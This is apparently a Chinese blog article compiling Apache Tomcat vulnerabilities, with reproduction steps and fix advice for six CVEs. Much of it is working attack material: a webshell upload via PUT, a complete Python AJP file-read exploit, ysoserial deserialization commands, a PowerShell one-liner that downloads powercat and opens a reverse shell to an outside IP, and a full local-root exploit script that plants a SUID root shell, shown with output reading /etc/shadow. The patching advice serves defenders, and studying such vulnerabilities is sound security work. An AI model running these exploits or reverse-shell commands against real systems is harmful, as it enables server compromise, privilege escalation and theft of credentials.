PUT 任意文件上传(CVE-2017-12615)
影响版本
tomcat 7.0.0~7.0.79
漏洞复现
1. 访问apache tomcat首页 http://192.168.17.140:8080
2. 访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至Repeater
3. 将请求包GET方式改为PUT方式,上传ceshi.jsp,内容为“Hello Word”,点击发送,发现服务器返回“201”
4. 访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞
5. 接下来上传木马backdoor.jsp,如图所示上传成功
6. 使用冰蝎连接shell,密码为“rebeyond”
修复建议
用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数
1 | readonlytrue |
确保readonly参数为true(默认值),即不允许DELETE和PUT操作。
远程代码执行(CVE-2019-0232)
影响版本
tomcat 7.0.94之前
tomcat 8.5.40之前
tomcat 9.0.19之前 版本都会影响
漏洞复现
1. 首先修改apache-tomcat-9.0.13conf web.xml
将此段注释删除,并添加红框内代码。
1 | enableCmdLineArgumentstrueexecutadle |
2. 将此处注释删除
3. 更改
apache-tomcat-9.0.13conf context.xml
4. 在apache-tomcat-9.0.13webappsROOTWEB-INF目录下,新建 cgi-bin 文件夹
在文件夹内创建一个.bat文件
1 2 3 4 5 | @ echo off echo Content-Type: test /plain echo . set foo=&~1 %foo% |
5. 在后边追加命令,即可实现命令执行操作
修复建议
1. 禁用enableCmdLineArguments参数。
2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。
3. 升级tomcat到9.0.17以上版本。
Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
影响版本
Apache Tomcat 6
Apache Tomcat 7
Apache Tomcat 8
Apache Tomcat 9
开启了8009端口的ajp服务
漏洞复现
1. 网址中下载Tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat
2. 访问http://localhost:8080
3. 修改配置文件,首先修改apache-tomcat-9.0.13conf web.xml
将此段注释删除,并添加红框内代码
1 | enableCmdLineArgumentstrueexecutadle |
4. 将此处注释删除
5. 修改 apache-tomcat-9.0.13conf context.xml
添加privileged=”true”语句 如下图
环境搭建完成!
6. 在cmd下执行python脚本
脚本代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 | #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: def pack_string(s): if s is None : return struct.pack( ">h" , - 1 ) l = len (s) return struct.pack( ">H%dsb" % l, l, s.encode( 'utf8' ), 0 ) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h" ) if size = = - 1 : # null string return None res, = unpack(stream, "%ds" % size) stream.read( 1 ) # return res class NotFoundException(Exception): pass class AjpBodyRequest( object ): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range ( 2 ) MAX_REQUEST_LENGTH = 8186 def __init__( self , data_stream, data_len, data_direction = None ): self .data_stream = data_stream self .data_len = data_len self .data_direction = data_direction def serialize( self ): data = self .data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len (data) = = 0 : return struct.pack( ">bbH" , 0x12 , 0x34 , 0x00 ) else : res = struct.pack( ">H" , len (data)) res + = data if self .data_direction = = AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack( ">bbH" , 0x12 , 0x34 , len (res)) else : header = struct.pack( ">bbH" , 0x41 , 0x42 , len (res)) return header + res def send_and_receive( self , socket, stream): while True : data = self .serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code ! = AjpResponse.GET_BODY_CHUNK and r.prefix_code ! = AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code = = AjpResponse.SEND_HEADERS or len (data) = = 4 : break class AjpForwardRequest( object ): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range ( 28 ) REQUEST_METHODS = { 'GET' : GET, 'POST' : POST, 'HEAD' : HEAD, 'OPTIONS' : OPTIONS, 'PUT' : PUT, 'DELETE' : DELETE, 'TRACE' : TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range ( 2 ) COMMON_HEADERS = [ "SC_REQ_ACCEPT" , "SC_REQ_ACCEPT_CHARSET" , "SC_REQ_ACCEPT_ENCODING" , "SC_REQ_ACCEPT_LANGUAGE" , "SC_REQ_AUTHORIZATION" , "SC_REQ_CONNECTION" , "SC_REQ_CONTENT_TYPE" , "SC_REQ_CONTENT_LENGTH" , "SC_REQ_COOKIE" , "SC_REQ_COOKIE2" , "SC_REQ_HOST" , "SC_REQ_PRAGMA" , "SC_REQ_REFERER" , "SC_REQ_USER_AGENT" ] ATTRIBUTES = [ "context" , "servlet_path" , "remote_user" , "auth_type" , "query_string" , "route" , "ssl_cert" , "ssl_cipher" , "ssl_session" , "req_attribute" , "ssl_key_size" , "secret" , "stored_method" ] def __init__( self , data_direction = None ): self .prefix_code = 0x02 self .method = None self .protocol = None self .req_uri = None self .remote_addr = None self .remote_host = None self .server_name = None self .server_port = None self .is_ssl = None self .num_headers = None self .request_headers = None self .attributes = None self .data_direction = data_direction def pack_headers( self ): self .num_headers = len ( self .request_headers) res = "" res = struct.pack( ">h" , self .num_headers) for h_name in self .request_headers: if h_name.startswith( "SC_REQ" ): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res + = struct.pack( "BB" , 0xA0 , code) else : res + = pack_string(h_name) res + = pack_string( self .request_headers[h_name]) return res def pack_attributes( self ): res = b"" for attr in self .attributes: a_name = attr[ 'name' ] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res + = struct.pack( "b" , code) if a_name = = "req_attribute" : aa_name, a_value = attr[ 'value' ] res + = pack_string(aa_name) res + = pack_string(a_value) else : res + = pack_string(attr[ 'value' ]) res + = struct.pack( "B" , 0xFF ) return res def serialize( self ): res = "" res = struct.pack( "bb" , self .prefix_code, self .method) res + = pack_string( self .protocol) res + = pack_string( self .req_uri) res + = pack_string( self .remote_addr) res + = pack_string( self .remote_host) res + = pack_string( self .server_name) res + = struct.pack( ">h" , self .server_port) res + = struct.pack( "?" , self .is_ssl) res + = self .pack_headers() res + = self .pack_attributes() if self .data_direction = = AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack( ">bbh" , 0x12 , 0x34 , len (res)) else : header = struct.pack( ">bbh" , 0x41 , 0x42 , len (res)) return header + res def parse( self , raw_packet): stream = StringIO(raw_packet) self .magic1, self .magic2, data_len = unpack(stream, "bbH" ) self .prefix_code, self .method = unpack(stream, "bb" ) self .protocol = unpack_string(stream) self .req_uri = unpack_string(stream) self .remote_addr = unpack_string(stream) self .remote_host = unpack_string(stream) self .server_name = unpack_string(stream) self .server_port = unpack(stream, ">h" ) self .is_ssl = unpack(stream, "?" ) self .num_headers, = unpack(stream, ">H" ) self .request_headers = {} for i in range ( self .num_headers): code, = unpack(stream, ">H" ) if code > 0xA000 : h_name = AjpForwardRequest.COMMON_HEADERS else : h_name = unpack(stream, "%ds" % code) stream.read( 1 ) # h_value = unpack_string(stream) self .request_headers[h_name] = h_value def send_and_receive( self , socket, stream, save_cookies = False ): res = [] i = socket.sendall( self .serialize()) if self .method = = AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code = = AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self .headers[ 'SC_REQ_COOKIE' ] = r.response_headers[ 'Set-Cookie' ] # read body chunks and end response packets while True : r = AjpResponse.receive(stream) res.append(r) if r.prefix_code = = AjpResponse.END_RESPONSE: break elif r.prefix_code = = AjpResponse.SEND_BODY_CHUNK: continue else : raise NotImplementedError break return res class AjpResponse( object ): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range ( 7 ) COMMON_SEND_HEADERS = [ "Content-Type" , "Content-Language" , "Content-Length" , "Date" , "Last-Modified" , "Location" , "Set-Cookie" , "Set-Cookie2" , "Servlet-Engine" , "Status" , "WWW-Authenticate" ] def parse( self , stream): # read headers self .magic, self .data_length, self .prefix_code = unpack(stream, ">HHb" ) if self .prefix_code = = AjpResponse.SEND_HEADERS: self .parse_send_headers(stream) elif self .prefix_code = = AjpResponse.SEND_BODY_CHUNK: self .parse_send_body_chunk(stream) elif self .prefix_code = = AjpResponse.END_RESPONSE: self .parse_end_response(stream) elif self .prefix_code = = AjpResponse.GET_BODY_CHUNK: self .parse_get_body_chunk(stream) else : raise NotImplementedError def parse_send_headers( self , stream): self .http_status_code, = unpack(stream, ">H" ) self .http_status_msg = unpack_string(stream) self .num_headers, = unpack(stream, ">H" ) self .response_headers = {} for i in range ( self .num_headers): code, = unpack(stream, ">H" ) if code H") self .data = stream.read( self .data_length + 1 ) def parse_end_response( self , stream): self .reuse, = unpack(stream, "b" ) def parse_get_body_chunk( self , stream): rlen, = unpack(stream, ">H" ) return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method = AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT' : 'text/html' , 'SC_REQ_CONNECTION' : 'keep-alive' , 'SC_REQ_CONTENT_LENGTH' : '0' , 'SC_REQ_HOST' : target_host, 'SC_REQ_USER_AGENT' : 'Mozilla' , 'Accept-Encoding' : 'gzip, deflate, sdch' , 'Accept-Language' : 'en-US,en;q=0.5' , 'Upgrade-Insecure-Requests' : '1' , 'Cache-Control' : 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat( object ): def __init__( self , target_host, target_port): self .target_host = target_host self .target_port = target_port self .socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self .socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) self .socket.connect((target_host, target_port)) self .stream = self .socket.makefile( "rb" , bufsize = 0 ) def perform_request( self , req_uri, headers = {}, method = 'GET' , user = None , password = None , attributes = []): self .req_uri = req_uri self .forward_request = prepare_ajp_forward_request( self .target_host, self .req_uri, method = AjpForwardRequest.REQUEST_METHODS.get(method)) print ( "Getting resource at ajp13://%s:%d%s" % ( self .target_host, self .target_port, req_uri)) if user is not None and password is not None : self .forward_request.request_headers[ 'SC_REQ_AUTHORIZATION' ] = "Basic " + ( "%s:%s" % (user, password)).encode( 'base64' ).replace( 'n' , '') for h in headers: self .forward_request.request_headers[h] = headers[h] for a in attributes: self .forward_request.attributes.append(a) responses = self .forward_request.send_and_receive( self .socket, self .stream) if len (responses) = = 0 : return None , None snd_hdrs_res = responses[ 0 ] data_res = responses[ 1 : - 1 ] if len (data_res) = = 0 : print ( "No data in response. Headers:%sn" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument( "target" , type = str , help = "Hostname or IP to attack" ) parser.add_argument( '-p' , '--port' , type = int , default = 8009 , help = "AJP port to attack (default is 8009)" ) parser.add_argument( "-f" , '--file' , type = str , default = 'WEB-INF/web.xml' , help = "file path :(WEB-INF/web.xml)" ) args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request( '/asdf' ,attributes = [ { 'name' : 'req_attribute' , 'value' :[ 'javax.servlet.include.request_uri' , '/' ]}, { 'name' : 'req_attribute' , 'value' :[ 'javax.servlet.include.path_info' ,args. file ]}, { 'name' : 'req_attribute' , 'value' :[ 'javax.servlet.include.servlet_path' , '/' ]}, ]) print ( '----------------------------' ) print ("".join([d.data for d in data])) |
7. 可以成功访问文件,漏洞复现成功!
修复建议
1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉
2、升级官方最新版本。
Tomcat Session(CVE-2020-9484)反序列化漏洞
影响版本
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
- 攻击者能够控制服务器上文件的内容和文件名称
- 服务器PersistenceManager配置中使用了FileStore
- PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
- 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
漏洞复现
下载ysoserial 一个生成java反序列化 payload 的 .jar 包
下载地址: https://github.com/frohoff/ysoserial.git
用浏览器下载,解压,并生成一个jar包,复制进linux系统
生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package
编译有点慢需要几分钟世间
编译完成后在target目录下,有jar包
执行下面语句生成 payload
1 | java -jar ysoserial- 0.0 . 6 -SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session |
使用以下命令访问tomcat服务
1 |
虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录
修复建议 升级到 Apache Tomcat 10.0.0-M5 及以上版本升级到 Apache Tomcat 9.0.35 及以上版本升级到 Apache Tomcat 8.5.55 及以上版本升级到 Apache Tomcat 7.0.104 及以上版本
临时修复建议
禁止使用Session持久化功能FileStore
Tomcat反序列化漏洞(CVE-2016-8735)
影响版本
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行
漏洞复现
环境:Tomcat7.0.39
在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口
配置好 jmx 的端口后,我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。
接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。
然后启动 Tomcat ,看看本地的 10001 和 10002 端口是否开放
漏洞利用代码
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0 . 0.1 10001 Groovy1 "calc.exe" |
但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0 . 0.1 10001 Groovy1 "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd" |
修复建议
1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
Tomcat本地提权漏洞(CVE-2016-1240)
影响版本
Tomcat 8 Tomcat 7 Tomcat 6
- 通过deb包安装的tomcat
- 需要重启tomcat
- 受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响
漏洞复现
Debian系统的Linux上管理员通常利用apt-get
进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*
利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!
本地攻击者,作为tomcat
用户(比如说,通过web应用的漏洞)若将catalina.out
修改为指向任意系统文件的链接,一旦Tomcat init
脚本(ROOT权限运行)在服务重启后再次打开catalina.out
文件,攻击者就可获取ROOT权限。
漏洞poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | #!/bin/bash # # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit # # CVE-2016-1240 # # Discovered and coded by: # # Dawid Golunski # # This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc. # It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root. # # Usage: # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] # # The exploit can used in two ways: # # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) # # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can # then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations). # # See full advisory for details at: # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH= "/bin/bash" BACKDOORPATH= "/tmp/tomcatrootsh" PRIVESCLIB= "/tmp/privesclib.so" PRIVESCSRC= "/tmp/privesclib.c" SUIDBIN= "/usr/bin/sudo" function cleanexit { # Cleanup echo -e "n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld .so.preload ]; then echo -n > /etc/ld .so.preload 2> /dev/null fi echo -e "n[+] Job done. Exiting with code $1 n" exit $1 } function ctrl_c() { echo -e "n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "33[94m nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation ExploitnCVE-2016-1240n" # Args if [ $ # -lt 1 ]; then echo -e "n[!] Exploit usage: nn$0 path_to_catalina.out [-deferred]n" exit 3 fi if [ "$2" = "-deferred" ]; then mode= "deferred" else mode= "active" fi # Priv check echo -e "n[+] Starting the exploit in [33[94m$mode33[0m] mode with the following privileges: n`id`" id | grep -q tomcat if [ $? - ne 0 ]; then echo -e "n[!] You need to execute the exploit as tomcat user! Exiting.n" exit 3 fi # Set target paths TOMCATLOG= "$1" if [ ! -f $TOMCATLOG ]; then echo -e "n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.n" exit 3 fi echo -e "n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on default # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been # restarted and file owner gets changed. if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? - ne 0 ]; then echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "n[+] Symlink created at: n`ls -l $TOMCATLOG`" echo -e "n[+] The current owner of the file is: n`ls -l /etc/default/locale`" echo - ne "n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo - ne "n you'll be able to add arbitrary commands to the file which will get executed with root privileges" echo - ne "n at ~6:25am by the /etc/cron .daily /tomcatN log rotation cron . See also -active mode if you can't wait ;) nn" exit 0 fi # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat $PRIVESCSRC #define _GNU_SOURCE #include #include #include #include uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid" ); if ( old_geteuid() == 0 ) { chown ( "$BACKDOORPATH" , 0, 0); chmod ( "$BACKDOORPATH" , 04777); unlink( "/etc/ld.so.preload" ); } return old_geteuid(); } _solibeof_ gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl if [ $? - ne 0 ]; then echo -e "n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "n[+] Backdoor/low-priv shell installed at: n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld .so.preload ]; then echo -e "n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2 fi # Symlink the log file to ld.so.preload rm -f $TOMCATLOG && ln -s /etc/ld .so.preload $TOMCATLOG if [ $? - ne 0 ]; then echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "n[+] Symlink created at: n`ls -l $TOMCATLOG`" # Wait for Tomcat to re-open the logs echo - ne "n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." echo -e "nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) " while :; do sleep 0.1 if [ -f /etc/ld .so.preload ]; then echo $PRIVESCLIB > /etc/ld .so.preload break ; fi done # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld .so.preload echo -e "n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: n`ls -l /etc/ld.so.preload`" echo -e "n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "n[+] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload`" # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo --help 2> /dev/null > /dev/null # Check for the rootshell ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? - eq 0 ]; then echo -e "n[+] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPATH`" echo -e "n33[94mPlease tell me you're seeing this too ;) 33[0m" else echo -e "n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "n[+] Executing the rootshell $BACKDOORPATH now! n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0 |
poc运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | tomcat7@ubuntu: /tmp $ id uid=110(tomcat7) gid=118(tomcat7) groups =118(tomcat7) tomcat7@ubuntu: /tmp $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04 LTS Release: 16.04 Codename: xenial tomcat7@ubuntu: /tmp $ dpkg -l | grep tomcat ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core libraries ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common files tomcat7@ubuntu: /tmp $ . /tomcat-rootprivesc-deb .sh /var/log/tomcat7/catalina .out Tomcat 6 /7/8 on Debian-based distros - Local Root Privilege Escalation Exploit CVE-2016-1240 Discovered and coded by: Dawid Golunski http: //legalhackers .com [+] Starting the exploit in [active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups =118(tomcat7) [+] Target Tomcat log file set to /var/log/tomcat7/catalina .out [+] Compiling the privesc shared library ( /tmp/privesclib .c) [+] Backdoor /low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh [+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina .out -> /etc/ld .so.preload [+] Waiting for Tomcat to re- open the logs /Tomcat service restart... You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) [+] Tomcat restarted. The /etc/ld .so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld .so.preload [+] Adding /tmp/privesclib .so shared lib to /etc/ld .so.preload [+] The /etc/ld .so.preload file now contains: /tmp/privesclib .so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh Please tell me you're seeing this too ;) [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3 # id uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups =118(tomcat7) tomcatrootsh-4.3 # whoami root tomcatrootsh-4.3 # head -n3 /etc/shadow root:$6$oaf[ cut ]:16912:0:99999:7::: daemon:*:16912:0:99999:7::: bin:*:16912:0:99999:7::: tomcatrootsh-4.3 # exit exit |
修复建议
目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:
1、更新Tomcat服务器版本:
(1)针对Ubuntu公告链接
http://www.ubuntu.com/usn/usn-3081-1/
(2)针对Debian公告链接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:
chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
参考链接
CVE-2019-0232漏洞复现_whh6tl的博客-CSDN博客_cve-2019-0232
(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_whh6tl的博客-CSDN博客
Tomcat Session(CVE-2020-9484)反序列化漏洞复现_白冷的博客-CSDN博客_cve-2020-9484
到此这篇关于tomcat漏洞汇总的文章就介绍到这了,更多相关tomcat漏洞内容请搜索IT俱乐部以前的文章或继续浏览下面的相关文章希望大家以后多多支持IT俱乐部!